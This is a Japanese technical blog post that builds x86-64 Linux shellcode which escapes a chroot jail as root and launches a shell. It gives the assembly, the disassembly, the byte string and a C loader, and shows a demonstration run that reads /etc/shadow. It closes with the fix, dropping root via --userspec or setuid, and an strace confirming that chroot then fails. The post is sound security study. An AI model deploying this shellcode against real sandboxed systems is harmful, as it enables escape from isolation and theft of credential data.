Linux x64でchroot jailから脱出するシェルコードを書いてみる

上の記事では、chrootがsuperuserならば脱出可能であることについて書かれている。 また、実際にマニュアルを確認すると、確かにそのことが記載されている。

CHROOT(2)                                                                           Linux Programmer's Manual                                                                          CHROOT(2)

NAME
       chroot - change root directory

SYNOPSIS
       (snip)

DESCRIPTION
       (snip)

       This call does not change the current working directory, so that after the call '.' can be outside the tree rooted at '/'.  In particular, the superuser can escape from a "chroot  jail"
       by doing:

           mkdir foo; chroot foo; cd ..

ここでは上の記事を参考に、Linux x64環境においてchroot jailから脱出してシェルを起動するシェルコードを書いてみる。

環境

Ubuntu 14.04.1 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

$ gcc --version
gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2

シェルコードを書いてみる

実際にシェルコードを書くと次のようになる。

        # escape_chroot.s
        .intel_syntax noprefix
        .globl _start
_start:
        # chdir("/")
        push 0x2f
        mov rdi, rsp
        push 80
        pop rax
        syscall
        # mkdir("\355\1", 0755)
        pop rsi
        mov si, 0755
        push rsi
        mov rdi, rsp
        push 83
        pop rax
        syscall
        # chroot("\355\1")
        push 94
        pop rax
        not al
        syscall
        # chdir("..") x 0x7f
        push 0x7f
        pop rsi
        xor rdi, rdi
        mov di, 0x2e2e
        push rdi
        mov rdi, rsp
loop:
        push 80
        pop rax
        syscall
        dec rsi
        jne loop
        # chroot("..")
        push 94
        pop rax
        not al
        syscall
        # execve("/bin/sh", {"/bin/sh", NULL}, NULL)
        push 59
        pop rax
        cqo
        movabs rdi, 0x68732f2f6e69622f
        push rdx
        push rdi
        mov rdi, rsp
        push rdx
        push rdi
        mov rsi, rsp
        syscall

上のコードの内容を簡単にまとめると次のようになる。

  1. 適当な名前のディレクトリを作成する
  2. 作成したディレクトリにchrootする
  3. 本来のrootに辿りつくのに十分な回数だけchdir("..")する
  4. .または..に再度chrootする
  5. シェルを起動する

アセンブルし、ディスアセンブル結果を表示すると次のようになる。

$ gcc -nostdlib escape_chroot.s

$ objdump -d a.out

a.out:     file format elf64-x86-64


Disassembly of section .text:

00000000004000d4 <_start>:
  4000d4:       6a 2f                   push   0x2f
  4000d6:       48 89 e7                mov    rdi,rsp
  4000d9:       6a 50                   push   0x50
  4000db:       58                      pop    rax
  4000dc:       0f 05                   syscall
  4000de:       5e                      pop    rsi
  4000df:       66 be ed 01             mov    si,0x1ed
  4000e3:       56                      push   rsi
  4000e4:       48 89 e7                mov    rdi,rsp
  4000e7:       6a 53                   push   0x53
  4000e9:       58                      pop    rax
  4000ea:       0f 05                   syscall
  4000ec:       6a 5e                   push   0x5e
  4000ee:       58                      pop    rax
  4000ef:       f6 d0                   not    al
  4000f1:       0f 05                   syscall
  4000f3:       6a 7f                   push   0x7f
  4000f5:       5e                      pop    rsi
  4000f6:       48 31 ff                xor    rdi,rdi
  4000f9:       66 bf 2e 2e             mov    di,0x2e2e
  4000fd:       57                      push   rdi
  4000fe:       48 89 e7                mov    rdi,rsp

0000000000400101 <loop>:
  400101:       6a 50                   push   0x50
  400103:       58                      pop    rax
  400104:       0f 05                   syscall
  400106:       48 ff ce                dec    rsi
  400109:       75 f6                   jne    400101 <loop>
  40010b:       6a 5e                   push   0x5e
  40010d:       58                      pop    rax
  40010e:       f6 d0                   not    al
  400110:       0f 05                   syscall
  400112:       6a 3b                   push   0x3b
  400114:       58                      pop    rax
  400115:       48 99                   cqo
  400117:       48 bf 2f 62 69 6e 2f    movabs rdi,0x68732f2f6e69622f
  40011e:       2f 73 68
  400121:       52                      push   rdx
  400122:       57                      push   rdi
  400123:       48 89 e7                mov    rdi,rsp
  400126:       52                      push   rdx
  400127:       57                      push   rdi
  400128:       48 89 e6                mov    rsi,rsp
  40012b:       0f 05                   syscall

このバイト列をC形式の文字列に変換すると次のようになる。

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x6a\x2f\x48\x89\xe7\x6a\x50\x58\x0f\x05\x5e\x66\xbe\xed\x01\x56\x48\x89\xe7\x6a\x53\x58\x0f\x05\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x7f\x5e\x48\x31\xff\x66\xbf\x2e\x2e\x57\x48\x89\xe7\x6a\x50\x58\x0f\x05\x48\xff\xce\x75\xf6\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05

chroot下でシェルコードを実行してみる

意図的にシェルコードにジャンプするプログラムコードを書くと次のようになる。

/* loader.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char code[] = "\x6a\x2f\x48\x89\xe7\x6a\x50\x58\x0f\x05\x5e\x66\xbe\xed\x01\x56\x48\x89\xe7\x6a\x53\x58\x0f\x05\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x7f\x5e\x48\x31\xff\x66\xbf\x2e\x2e\x57\x48\x89\xe7\x6a\x50\x58\x0f\x05\x48\xff\xce\x75\xf6\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
    printf("strlen(code) = %ld\n", strlen(code));
    ((void (*)())code)();
    return 0;
}

DEPを無効にした上でC標準ライブラリをstatic linkしてコンパイルし、実行ファイルを生成する。 さらに、chroot下でこれを実行してみる。

$ gcc -static -zexecstack loader.c

$ mkdir jail

$ cp a.out jail/

$ sudo chroot jail/ /a.out
strlen(code) = 89
# cat /etc/shadow
root:!:16349:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
(snip)
# exit

上の結果より、chroot下のプログラムから本来の環境のシェルが起動していることが確認できた。 このシェルコードの長さは89バイトである。

chroot下でchrootできないようにする

上を防ぐには、chroot下で動かすプログラムの実行ユーザをrootではないユーザ(より正確にはCAP_SYS_CHROOT capabilityのないユーザ)に変更しておく必要がある。 chrootコマンドの場合、--userspecオプションにuid番号を指定することでこれを行うことができる。 あるいは、動かすプログラム中でsetuid関数を実行してもよく、一般的にはこの方法が広く用いられる。

実行ユーザにnobodyを指定して、再度chroot下でプログラムを実行してみると次のようになる。

$ id nobody
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

$ sudo chroot --userspec=65534 jail/ /a.out
strlen(code) = 89

$ sudo strace chroot --userspec=65534 jail/ /a.out
execve("/usr/sbin/chroot", ["chroot", "--userspec=65534", "jail/", "/a.out"], [/* 13 vars */]) = 0
brk(0)                                  = 0x1def000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f46d472b000
...
setuid(65534)                           = 0
execve("/a.out", ["/a.out"], [/* 13 vars */]) = 0
uname({sys="Linux", node="vm-ubuntu64", ...}) = 0
brk(0)                                  = 0x1c7a000
brk(0x1c7b1c0)                          = 0x1c7b1c0
arch_prctl(ARCH_SET_FS, 0x1c7a880)      = 0
readlink("/proc/self/exe", 0x7fffc99221f0, 4096) = -1 ENOENT (No such file or directory)
brk(0x1c9c1c0)                          = 0x1c9c1c0
brk(0x1c9d000)                          = 0x1c9d000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff39e8cd000
write(1, "strlen(code) = 89\n", 18strlen(code) = 89
)     = 18
chdir("/")                              = 0
mkdir("\355\1", 0755)                   = -1 EEXIST (File exists)
chroot("\355\1")                        = -1 EPERM (Operation not permitted)
chdir("..")                             = 0
...
chdir("..")                             = 0
chroot("..")                            = -1 EPERM (Operation not permitted)
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xfffffffffffffffc} ---
+++ killed by SIGSEGV (core dumped) +++

システムコールトレースの結果から、プログラム実行前にsetuidで実行ユーザIDが変更され、chrootシステムコールでエラーが返るようになっていることが確認できる。

関連リンク